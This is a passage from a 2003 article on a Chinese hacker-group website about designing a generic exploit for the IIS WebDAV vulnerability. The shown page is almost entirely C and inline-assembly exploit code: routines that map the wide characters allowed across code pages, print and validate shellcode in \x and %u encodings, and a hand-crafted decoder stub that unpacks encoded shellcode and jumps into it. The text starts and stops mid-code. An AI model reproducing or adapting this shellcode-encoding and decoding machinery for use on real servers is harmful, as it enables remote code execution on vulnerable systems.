| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 安全防御 >> 漏洞分析 >> 文章正文 用户登录 新用户注册
  WebDav漏洞简单分析及通用exploit设计       ★★★ 【字体:
WebDav漏洞简单分析及通用exploit设计
作者:eyas    文章来源:CnXHacker.Net    点击数:    更新时间:2003-5-18    
Byte error:%d\n",
GetLastError());
                    return FALSE;
                }
                if(!(ret = MultiByteToWideChar(g_iCodePageList[k], 0,
buff,strlen(buff), (unsigned short *)wbuff2, 1)))
                {
                    printf("MultiByteToWideChar error:%d %d\n",
GetLastError(), ret);
                    return FALSE;
                }
                //判断经过两次转换后是否改变,只要在任何一种code
page改变都视为非法wide char范围
                if(*(DWORD *)wbuff != *(DWORD *)wbuff2)
                    g_szWideCharShort[(BYTE)wbuff[0]*0x100 +
(BYTE)wbuff[1]] = (BYTE)'\0';
            }
            //getchar();
        }//end of for 2
    }//end of for 1
    return TRUE;
}

void SaveToFile()
{
    unsigned char    *g_pStr;
    FILE    *f;
    int        i,j,k;

    i=0;
    /*将允许的wide char范围保存在文本文件,便于调试时查询*/
    g_pStr = (unsigned char *)malloc(65536*6 +200);
    memset(g_pStr, 0, 65536*6+200);
    for(k=0;k<sizeof(g_iCodePageList)/sizeof(int);k++)//for 1
        i += sprintf(g_pStr+i, "UseCodePage=%d\n",g_iCodePageList[k]);
    for(j=0;j<65536;j++)
        if(g_szWideCharShort[j] != (BYTE)'\0')
            i += sprintf(g_pStr+i, "%.4X\n", j);
    f = fopen("c:\\w.txt", "w");
    fprintf(f, "%s", g_pStr);
    fclose(f);
    free(g_pStr);
}

void printsc(unsigned char *sc, int len)
{
    int    l;
    for(l=0;l<len;l+=1)
    {
        if(l==0) printf("\"");
        if((l%16 == 0) && (l!=0))printf("\"\n\"");
        printf("\\x%.2X", sc[l]);
        if(l==len-1) printf("\"");
    }
    printf("\n\n");
    for(l=0;l<len;l+=2)
    {
        if(l==0) printf("\"");
        if((l%16 == 0) && (l!=0))printf("\"\n\"");
        printf("%%u%.2X%.2X", sc[l+1], sc[l]);
        if(l==len-2) printf("\"");
    }
}

void checkcode(unsigned char *sc,int len)
{
    int    l;
    /*检测*/
    printf("\nstart check shellcode\n");
    for(l=0;l<len;l+=2)
    {
        printf("shellcode %.2X%.2X at sc[%.2d] sc[%.2d] ",
            sc[l], sc[l+1], l, l+1);
        if(g_szWideCharShort[(BYTE)sc[l]*0x100 + (BYTE)sc[l+1]] == (BYTE)'\0')
            printf("not ");
        printf("allow.\n");
    }
    printf("Done.\n");
}

/*注意:为了符合wide char范围,NOPCODE与DATABASE与yuange的不一样*/
/*相应对shellcode进行编码时要注意以此为准*/
#define  NOPCODE       0x4f//dec esi 0x4f='O' 0x4E='N'
#define  OFFSETNUM     0x8
#define  DATABASE      0x64
void  shellcodefnlock()
{
    _asm
    {
     nop
     nop
     nop
     nop
     nop
     nop
     nop
     nop

/*start here*/

     dec    edi//无用代码,为迁就指令范围 4f
     jnz    unlockdataw//75 05
     jz        unlockdataw//74 03
     dec    esi//无用代码,为迁就指令范围 4e <--永远不会执行到此

     /*将toshell放在前面是为了方便后面调试,可以一点一点往后调试*/
     /*不然jz toshell的时候,如果是往后跳转,而且后面的偏移没确定的话,就很难调准*/
     /*符合wide char范围的代码了*/
toshell:   
     /*此时esp存放的是解码后的shellcode起始地址,也即解码前shellcode的起始地址*/
     ret//c3
     dec    edi//无用代码,为迁就指令范围 4f <--永远不会执行到此

unlockdataw:
    /*取得我们的decoder的起始地址*/
     push  ebx//53
    /*可以通用 push esp  */
    /*地址保存在esi*/
     NOP
     pop   esi//5e

/*定位从哪里开始解码*/
loopload:
     /*读取两个字节内容,以esi为索引*/
     lodsw//66 ad
     dec    esi//无用代码,为迁就指令范围 4e
     inc    esi//无用代码,为迁就指令范围 46
     dec    edi//无用代码,为迁就指令范围 4f

     inc    ebx//无用代码,为迁就指令范围 43
    /*判断是否已经达到待解码的字符处*/
     cmp  ax,0x6F97 // SHELLDATA 66 3d 97 6F    |
     NOP//无用代码,为迁就指令范围 90        |
     push    ecx//无用代码,为迁就指令范围 51    |
     NOP//无用代码,为迁就指令范围 90        |------>这边不能用影响标志位的指令
     pop    ecx//无用代码,为迁就指令范围 59    |
     jnz  loopload//75 F0            |
     push    ebx//无用代码,为迁就指令范围 53

    
     /*将待解码字符的起始地址传递至edi,解码后的字符也从此起始地址存放*/
     push esi//56
     pop  edi//5f
     dec    edx//无用代码,为迁就指令范围 4a     
     /*保存起始地址,注意后面push pop操作要均衡*/
     /*不然toshell中的ret指令就不能返回到解码后的shellcode了*/
     push    edi//57
     inc    ebx//无用代码,为迁就指令范围 43

/*开始解码*/
looplock:    
     /*读取两个字节内容,以esi为索引*/
     lodsw//66 ad
     push    eax//无用代码,为迁就指令范围 50  -------<<3>>
     inc    ebx//无用代码,为迁就指令范围 43
     /*判断是否已经全部解码完毕*/
     cmp  ax,NOPCODE// 66 3d 4f 00
     NOP
     pop    ecx//无用代码,为迁就指令范围 59 --------<<3>>还原堆栈操作
     jz   toshell//74 d5

     dec    esi//无用代码,为迁就指令范围 4e   -----

上一页  [1] [2] [3] [4] [5] [6] [7] 下一页

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    通过建立安全模型保障Web数据
    US CERT:谷歌eBay雅虎网站均
    webshell下分离大文件资料
    经典Webshell提权集合九招
    四成Facebook用户轻易泄露身
    FaceBook源代码泄漏
    机器数量庞大 Google成WEB服
    Web2.0带来营销领域深刻变化
    安全专家:Web 2.0站点的coo
    Web安全性问题的层次关系
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.